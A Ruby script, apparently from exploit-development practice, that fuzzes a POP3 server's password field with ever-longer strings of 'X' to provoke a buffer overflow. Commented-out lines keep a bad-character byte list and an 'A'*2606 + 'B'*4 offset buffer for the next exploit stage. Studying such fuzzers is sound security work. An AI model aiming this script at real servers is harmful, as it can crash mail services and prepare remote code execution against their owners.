#!/usr/bin/env ruby
require 'socket'; require 'rainbow'


unless ARGV.length == 3
				puts "\n[POP3 password field fuzzer by Rick Flores (@nanotechz9l)]".foreground(:cyan).bright
				puts "Missing arguments. Correct useage below:\n".foreground(:yellow).bright
				puts "#{$0} 192.168.86.187 110 test".foreground(:yellow).bright
				exit
end

				ip, port, user = ARGV[0..2]

				# 0x00 "\x00" null byte
				# 0x0D "\x0d" carriage return
				# 0x0A "\x0a" line feed

=begin
				badchars = ( 
				"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
				"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
				"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
				"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
				"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
				"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
				"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
				"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
				"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
				"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
				"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
				"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
				"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
				"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
				"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
				"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
=end

				#buffer="A"*2606 + "B"*4 + badchars 

	buffer = ["X"]
	v      = 20
while buffer.length <= 40            # While buffer length is less than or = to 40
  buffer << "X" * v                  # Append 20 X's to the buffer
  v      += 100                      # V will increase/increment by 100
end                                  # Terminate the loop

begin
  buffer.each {|strlen|
  puts "Fuzzing POP3 PASS field with #{strlen.length} bytes".foreground(:red).bright
	
	x = TCPSocket.new(ARGV[0],ARGV[1]) # Create socket, connect to server + ip (user supplied arguments 1..2)
	print ">> "+x.recv(10000)          # Receive banner
	x.puts 'USER ' + ARGV[2]           # include user account (user supplied argument 3)
	x.puts 'PASS ' + strlen            # Fuzz PASS field
	print ">> "+result=x.recv(10000)   # Receive result
	x.close                            # Close socket
  }
end
